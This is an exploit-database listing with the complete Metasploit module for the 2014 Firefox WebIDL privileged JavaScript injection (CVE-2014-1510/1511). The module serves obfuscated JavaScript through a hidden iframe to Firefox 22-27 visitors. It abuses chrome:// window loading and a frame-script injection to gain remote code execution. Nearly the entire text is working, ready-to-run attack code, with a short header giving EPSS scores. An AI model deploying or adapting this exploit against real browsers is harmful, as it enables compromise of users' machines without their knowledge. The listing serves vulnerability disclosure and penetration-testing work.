Firefox WebIDL Privileged Javascript Injection

2014-08-2700:00:00
joev
packetstormsecurity.com
0.956 High
EPSS
Percentile
99.4%
JSON
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/exploitation/jsobfu'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
include Msf::Exploit::Remote::BrowserAutopwn  
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation  
  
autopwn_info({  
:ua_name => HttpClients::FF,  
:ua_maxver => "22.0",  
:ua_maxver => "27.0",  
:javascript => true,  
:rank => ExcellentRanking  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firefox WebIDL Privileged Javascript Injection',  
'Description' => %q{  
This exploit gains remote code execution on Firefox 22-27 by abusing two  
separate privilege escalation vulnerabilities in Firefox's Javascript  
APIs.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Marius Mlynski', # discovery and pwn2own exploit  
'joev' # metasploit module  
],  
'DisclosureDate' => "Mar 17 2014",  
'References' => [  
['CVE', '2014-1510'], # open chrome:// url in iframe  
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow  
],  
'Targets' => [  
[  
'Universal (Javascript XPCOM Shell)', {  
'Platform' => 'firefox',  
'Arch' => ARCH_FIREFOX  
}  
],  
[  
'Native Payload', {  
'Platform' => %w{ java linux osx solaris win },  
'Arch' => ARCH_ALL  
}  
]  
],  
'DefaultTarget' => 0,  
'BrowserRequirements' => {  
:source => 'script',  
:ua_name => HttpClients::FF,  
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }  
}  
))  
  
register_options([  
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])  
], self.class)  
end  
  
def on_request_exploit(cli, request, target_info)  
send_response_html(cli, generate_html(target_info))  
end  
  
def generate_html(target_info)  
key = Rex::Text.rand_text_alpha(5 + rand(12))  
frame = Rex::Text.rand_text_alpha(5 + rand(12))  
r = Rex::Text.rand_text_alpha(5 + rand(12))  
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin  
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+  
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+  
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"  
  
js = Rex::Exploitation::JSObfu.new(%Q|  
var opts = #{JSON.unparse(opts)};  
var key = opts['#{key}'];  
  
// Load the chrome-privileged browser XUL script into an iframe  
var c = new mozRTCPeerConnection;  
c.createOffer(function(){},function(){  
window.open('chrome://browser/content/browser.xul', '#{frame}');  
step1();  
});  
  
// Inject a data: URI into an internal frame inside of the browser  
// XUL script to pop open a new window with the chrome flag to prevent  
// the new window from being wrapped with browser XUL;  
function step1() {  
var clear = setInterval(function(){  
  
// throws until frames[0].frames[2] is available (when chrome:// iframe loads)  
frames[0].frames[2].location;  
  
// we base64 this to avoid the script tag screwing up things when obfuscated  
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');  
clearInterval(clear);  
setTimeout(step2, 100);  
},10);  
}  
  
// Step 2: load the chrome-level window up with a data URI, which  
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"  
// into the frame, since that will respond to our messageManager  
// (this is important later)  
function step2() {  
var clear = setInterval(function(){  
top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+  
'src="about:blank"></iframe></body></html>';  
clearInterval(clear);  
setTimeout(step3, 100);  
}, 10);  
}  
  
function step3() {  
var clear = setInterval(function(){  
if (!frames[0]) return; // will throw until the frame is accessible  
top.vvv.messageManager.loadFrameScript('data:,'+key, false);  
clearInterval(clear);  
setTimeout(function(){top.vvv.close();}, 100);  
}, 10);  
}  
  
|)  
  
js.obfuscate  
  
%Q|  
<!doctype html>  
<html>  
<body>  
<iframe id='#{frame}' name='#{frame}'  
style='position:absolute;left:-9999999px;height:1px;width:1px;'>  
</iframe>  
<script>  
#{js}  
</script>  
#{datastore['CONTENT']}  
</body>  
</html>  
|  
end  
end  
  
`